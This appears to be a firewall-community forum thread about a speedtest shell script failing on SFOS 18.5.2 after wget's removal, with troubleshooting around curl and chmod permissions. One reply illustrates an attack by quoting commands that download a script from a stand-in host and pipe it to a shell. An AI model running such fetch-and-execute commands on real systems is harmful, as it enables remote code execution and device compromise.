18.5.2 - Can't execute scripts anymore

wget was removed on the appliance. Does your script use wget? 

it does, do you know if there is an alternative? 

https://github.com/rickoneeleven/pinescore/blob/master/111/ns_speedtest_v3.sh (i may remove this link in the future)

wget is a tricky one. Because as you use wget to download something for a "speedtest" attackers use the same kind of feature for automated attacks and payload. As to speak, the same kind of script could be a potential attack. Getting access to a firewall, execute a script and download more content.

You could use curl, like the script does as well. 

I'll try and give it a re-work, thanks LuCar Toni

If the intended reason to remove wget from the firewall has only for security, why is curl still available?

There's nothing stopping an attacker to use "curl notmalware(.)com/safe.sh > file.sh" then execute it.

Or even curl | sh

hey cut it out Prism you're going to leave me with no options

"curl" is blocked too, but actually, I don't think curl or wget are blocked, as I can wget or curl down the original file fine from the command line, it's just when I run the script I get permission denied, even if I remove the #!/bin/sh first line.

So looks like calling an executable file in any way is blocked, is there a work around? Even if I remove the .sh extension, it's still permission denied 

You need to give execute permission with chmod +x ns_speedtest_v4.sh

Example:

XG115w_XN03_SFOS 19.0.0 EAP1-Build244# vim test.sh
XG115w_XN03_SFOS 19.0.0 EAP1-Build244# ./test.sh
/bin/sh: ./test.sh: Permission denied
XG115w_XN03_SFOS 19.0.0 EAP1-Build244# chmod +x test.sh
XG115w_XN03_SFOS 19.0.0 EAP1-Build244# ./test.sh
Hello
XG115w_XN03_SFOS 19.0.0 EAP1-Build244#

sorry i'd left that bit out of screenshot, same issue. Maybe it works on v19, do you have any 18.5.2's to try:

Could be additional enhancements to protect the system itself. V19.0 EAP1 is not on the same stage of release cycle like MR2. 

The question remains, why would anybody execute scripts?